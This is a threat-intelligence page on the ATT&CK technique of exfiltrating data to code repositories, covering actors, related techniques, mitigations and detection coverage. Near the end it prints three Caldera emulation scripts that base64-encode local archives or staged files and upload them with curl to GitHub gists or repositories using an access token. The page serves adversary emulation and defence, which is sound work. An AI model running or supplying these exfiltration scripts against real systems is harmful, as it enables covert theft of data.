T1567.001 · threatengine.sh

Home/ATT&CK Technique/Exfiltration to Code Repository

ATT&CK Technique

Exfiltration to Code Repository

T1567.001 · exfiltration

Adversaries may exfiltrate data to a code repository rather than over their primary command and control channel. Code repositories are often accessible via an API (ex: https://api.github.com). Access to these APIs are often over HTTPS, which gives the adversary an additional level of protection.

Exfiltration to a code repository can also provide a significant amount of cover to the adversary if it is a popular service already used by hosts within the network.

ESXiLinuxmacOSWindows

◆

Actors Using This

brazilBizarro
chinaDark Pink
russia_speaking_organized_cybercrimeDarkSide / BlackMatter
predominantly_westernScattered Spider
turkeySea Turtle
russiaStar Blizzard

◈

Likely Attack Path

Techniques the same actors pair with this one distinctively - those showing up among actors who use this technique noticeably more than across all actors (lift > 1.15), grouped by kill-chain phase. The × is that lift multiplier; the shared-actor count is in the tooltip. A near-universal technique pairs with everything at baseline, so its list is short by design.

resource-development earlier

T1584.005 · Botnet ×2.69

persistence earlier

T1098.001 · Additional Cloud Credentials ×11.90 T1098.005 · Device Registration ×9.92 T1556 · Modify Authentication Process ×7.93 T1078.001 · Default Accounts ×5.17 T1078.004 · Cloud Accounts ×2.99 T1078.003 · Local Accounts ×2.44

credential-access earlier

T1003.006 · DCSync ×4.76 T1110.003 · Password Spraying ×4.10 T1003.005 · Cached Domain Credentials ×2.78 T1539 · Steal Web Session Cookie ×2.44

discovery earlier

T1482 · Domain Trust Discovery ×3.97 T1087.001 · Local Account ×2.48

command-and-control earlier

T1102.002 · Bidirectional Communication ×2.48

other same

T1564.001 · Hidden Files and Directories ×2.33

▣

Mitigations

MITRE ATT&CK mitigations - vendor-agnostic guidance for reducing exposure to this technique.

M1021Restrict Web-Based Content

Restricting web-based content involves enforcing policies and technologies that limit access to potentially malicious websites, unsafe downloads, and unauthorized browser behaviors. This can include URL filtering, download restrictions, script blocking, and extension control to protect against exploitation, phishing, and malware delivery.

Deploy Web Proxy Filtering

Use solutions to filter web traffic based on categories, reputation, and content types.
Enforce policies that block unsafe websites or file types at the gateway level.

Enable DNS-Based Filtering

Implement tools to restrict access to domains associated with malware or phishing campaigns.
Use public DNS filtering services to enhance protection.

Enforce Content Security Policies (CSP)

Configure CSP headers on internal and external web applications to restrict script execution, iframe embedding, and cross-origin requests.

Control Browser Features

Disable unapproved browser features like automatic downloads, developer tools, or unsafe scripting.
Enforce policies through tools like Group Policy Management to control browser settings.

Monitor and Alert on Web-Based Threats

Use SIEM tools to collect and analyze web proxy logs for signs of anomalous or malicious activity.
Configure alerts for access attempts to blocked domains or repeated file download failures.

◈

Detection Coverage

1/6 layers

Coverage across standard detection surfaces. Rows marked none have no rule of that type mapped. Some are real blind spots worth closing; others are simply not applicable to this technique (e.g. YARA matches malware files, not network behaviour).

Behavioral / log (Sigma) 2

Analytics (MITRE CAR) none

Runtime / container (Falco) none

File / malware (YARA) none

Network (Suricata/Snort) none

Vuln scan (Nuclei) none

▸

Caldera Emulation

MITRE Caldera abilities that emulate this technique - each is an executable action for automated adversary emulation.

exfiltrationlinux, windowsExfil Compressed Archive to Github Gist

GHUser="#{github.user.name}";
GHPAT="#{github.access.token}";
FileContent=$(base64 #{host.dir.compress});
LocalFile='#{host.dir.compress}';
RemoteFile="$(date '+%Y%m%d%H%M%S')-exfil-#{paw}-$(basename $LocalFile)";
tmp_file=$(mktemp);
echo "{\"public\": false,\"files\": {\"$RemoteFile\": {\"content\": \"${FileContent}\"}}}" > $tmp_file;
curl --silent --output /dev/null --show-error --fail -X POST -d @$tmp_file -u $GHUser:$GHPAT https://api.github.com/gists;
rm $tmp_file

exfiltrationlinux, windowsExfil Compressed Archive to Github Repository

GHUser="#{github.user.name}";
GHRepo="#{github.repository.name}";
GHPAT="#{github.access.token}";
GHBranch='#{github.repository.branch}';
LocalFile='#{host.dir.compress}';
Header="Authorization: token $GHPAT";
RemoteName="$(date '+%Y%m%d%H%M%S')-exfil-#{paw}-$(basename $LocalFile)";
echo "{\"message\":\"Committed $RemoteName\", \"branch\":\"$GHBranch\", \"content\":\"" >/tmp/b64;
base64 -w 0 $LocalFile >>/tmp/b64;
echo "\"}" >>/tmp/b64;
content=$(curl -s -X PUT -H "Accept: application/vnd.github.v3+json" -H "$Header" https://api.github.com/repos/$GHUser/$GHRepo/contents/$RemoteName -d @/tmp/b64);
rm /tmp/b64;

exfiltrationlinux, windowsExfil Directory Files to GitHub

GHUser="#{github.user.name}";
GHRepo="#{github.repository.name}";
GHPAT="#{github.access.token}";
GHBranch='#{github.repository.branch}';
LocalDirectory=#{host.dir.staged};
Header="Authorization: token $GHPAT";

for file in $LocalDirectory/*.*; do
  TempName=$(echo $file | sed "s/ /-/g")
	RemoteName="$(date '+%Y%m%d%H%M%S')-exfil-#{paw}-$(basename "$TempName")";
	echo "{\"message\":\"Committed $(basename $TempName) at: $(date)\", \"branch\":\"$GHBranch\", \"content\":\"" >/tmp/b64;
  base64 -w 0 "$file" >>/tmp/b64;
  echo "\"}" >>/tmp/b64;
	content=$(curl -s -X PUT -H "Accept: application/vnd.github.v3+json" -H "$Header" https://api.github.com/repos/$GHUser/$GHRepo/contents/$RemoteName -d @/tmp/b64);
  rm /tmp/b64;
done;

▣

Comply & Defend

NIST 800-53AC-04, AC-20, SC-07

D3FEND11 defensive techniques

Intelligence Graph · click any node to traverse

CVETechnique ActorTool Family

drag to reposition · click any node to traverse · button top-right enlarges

External lookups - second-class, for what we don’t hold ourselves

MITRE ATT&CK Atomic Red Team car (MITRE)

Vulnerabilities
CISA KEV catalog
CWE weaknesses
CAPEC attack patterns
Package vulnerabilities

Threat intelligence
Threat actors
Tools & malware
ATT&CK techniques
IOCs

Detection & defense
Sigma rules
YARA rules
Atomic Red Team tests
D3FEND countermeasures

Compliance
NIST 800-53
ISO 27001:2022
SOC 2 TSC
PCI-DSS v4.0
CIS Controls v8.1

About
All capabilities
Live statistics
Data sources
Privacy policy
Terms of service

threatengine.sh · Open-source threat intelligence platform · 100+ authoritative sources · Every fact traces to its origin